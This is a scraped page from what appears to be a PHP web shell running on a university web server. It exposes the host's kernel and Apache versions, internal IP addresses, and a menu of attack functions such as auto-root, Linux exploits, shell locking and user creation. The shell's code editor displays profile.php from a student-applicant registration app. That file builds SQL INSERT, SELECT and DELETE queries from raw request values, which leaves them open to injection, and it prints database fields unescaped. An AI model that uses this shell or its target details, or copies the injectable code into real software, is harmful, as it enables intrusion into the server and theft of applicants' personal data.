Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
registros_utp2 /
[ HOME SHELL ]
Name
Size
Permission
Action
css
[ DIR ]
drwxrwxr-x
DB
[ DIR ]
drwxrwxr-x
fonts
[ DIR ]
drwxrwxr-x
js
[ DIR ]
drwxrwxr-x
res
[ DIR ]
drwxrwxr-x
add.php
14.33
KB
-rwxrwxr-x
alta_aspirante.php
2.22
KB
-rwxrwxr-x
conexion0.php
350
B
-rwxrwxr-x
conexion.php
354
B
-rwxrwxr-x
edit.php
6.7
KB
-rwxrwxr-x
get_ciudad.php
587
B
-rwxrwxr-x
index.php
2.05
KB
-rwxrwxr-x
nav.php
758
B
-rwxrwxr-x
profile.php
5.41
KB
-rwxrwxr-x
test_empleados.sql
1.78
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : profile.php
<?php include("conexion.php"); ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>FICHA DEL ASPIRANTE</title> <!-- Bootstrap --> <link href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/style_nav.css" rel="stylesheet"> <style> .content { margin-top: 80px; } </style> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <nav class="navbar navbar-default navbar-fixed-top"> <?php include("nav.php");?> <?php include("conexion.php"); if(isset($_POST['add'])){ $CURP = $_POST["CURP"]; $RFC = "INDEFINIDO"; $NOMBRES = $_POST["NOMBRES"]; $APATERNO = $_POST["APATERNO"]; $AMATERNO = $_POST["AMATERNO"]; $SANGRE = $_POST["SANGRE"]; $GENERO = $_POST["GENERO"]; $ECIVIL = $_POST["ECIVIL"]; $FNACIMIENTO = $_POST["FNACIMIENTO"]; $ENACIMIENTO = $_POST["ENACIMIENTO"]; $CNACIMIENTO = $_POST["CNACIMIENTO"]; $CALLE = $_POST["CALLE"]; $NUMERO = $_POST["NUMERO"]; $COLONIA = $_POST["COLONIA"]; $TELEFONO = $_POST["TELEFONO"]; $CELULAR = $_POST["CELULAR"]; $EPROCEDENCIA = $_POST["EPROCEDENCIA"]; $CPROCEDENCIA = $_POST["CPROCEDENCIA"]; $PREPARATORIA = $_POST["PREPARATORIA"]; $CARRERA = $_POST["CARRERA"]; $TURNO = $_POST["TURNO"]; $INSERTA_ASPIRANTE = "INSERT INTO `aspirantes` ( `curp`, `rfc`, `nombres`, `apaterno`, `amaterno`, `sangre`, `genero`, `ecivil`, `fnacimiento`, `enacimiento`, `cnacimiento`, `calle`, `numero`, `colonia`, `telefono`, `celular`, `eprocedencia`, `cprocedencia`, `preparatoria`, `carrera`, `turno`) VALUES ('".$CURP."', '".$RFC."', '".$NOMBRES."', '".$APATERNO."', '".$AMATERNO."', '".$SANGRE."', '".$GENERO."', '".$ECIVIL."', '".$FNACIMIENTO."', '".$ENACIMIENTO."', '".$CNACIMIENTO."', '".$CALLE."', '".$NUMERO."', '".$COLONIA."', '".$TELEFONO."', '".$CELULAR."', '".$EPROCEDENCIA."', '".$CPROCEDENCIA."', '".$PREPARATORIA."', '".$CARRERA."', '".$TURNO."');"; $cek = mysqli_query($con, "SELECT * FROM aspirantes WHERE curp='$CURP'"); if(mysqli_num_rows($cek) == 0){ $insert = mysqli_query($con, $INSERTA_ASPIRANTE) or die(mysqli_error()); if($insert){ $nik = $CURP; echo '<div class="alert alert-success alert-dismissable"><button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>Los datos han sido guardados con éxito.</div>'; }else{ echo '<div class="alert alert-danger alert-dismissable"><button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>Error. No se pudo guardar los datos !</div>'; } }else{ echo '<div class="alert alert-danger alert-dismissable"><button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>Error. CURP exite!</div>'; } } ?> </nav> <div class="container"> <div class="content"> <h2>Datos del aspirante » Perfil</h2> <hr /> <?php // escaping, additionally removing everything that could be (html/javascript-) code $consulta = "SELECT * FROM aspirantes WHERE curp='$nik'"; $sql = mysqli_query($con, $consulta); if(mysqli_num_rows($sql) == 0){ header("Location: add.php"); }else{ $row = mysqli_fetch_assoc($sql); } if(isset($_GET['aksi']) == 'delete'){ $delete = mysqli_query($con, "DELETE FROM aspirantes WHERE curp='.$nik.'"); if($delete){ echo '<div class="alert alert-danger alert-dismissable">><button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>Data berhasil dihapus.</div>'; }else{ echo '<div class="alert alert-info alert-dismissable"><button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>Data gagal dihapus.</div>'; } } ?> <table class="table table-striped table-condensed"> <tr> <th width="20%">CURP</th> <td><?php echo $row['curp']; ?></td> </tr> <tr> <th>Nombre</th> <td><?php echo $row['nombres'].', '.$row['apaterno'].' , '.$row['amaterno'];?></td> </tr> <tr> <th>Estado/ciudad</th> <td><?php echo $row['eprocedencia'].', '.$row['cprocedencia']; ?></td> </tr> <tr> <th>Dirección</th> <td><?php echo $row['calle'].', '.$row['numero'].' , '.$row['colonia'];?></td> </tr> <tr> <th>Teléfono</th> <td><?php echo $row['telefono']; ?></td> </tr> <tr> <th>Carrera</th> <td><?php echo $row['carrera']; ?></td> </tr> <tr> <th><h3 style="color:#FF0000">Número de referencia bancaria:</h3></th> <td> <?php echo "<h3>" . "UTP2020" . $row['id']. "</h3>"; ?> </td> </tr> </table> <a href="profile.php?nik=<?php echo $row['nik']; ?>" class="btn btn-sm btn-danger"><span class="glyphicon glyphicon-edit" aria-hidden="true"></span> regresar datos</a> </div> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> <script src="js/bootstrap.min.js"></script> </body> </html>
Close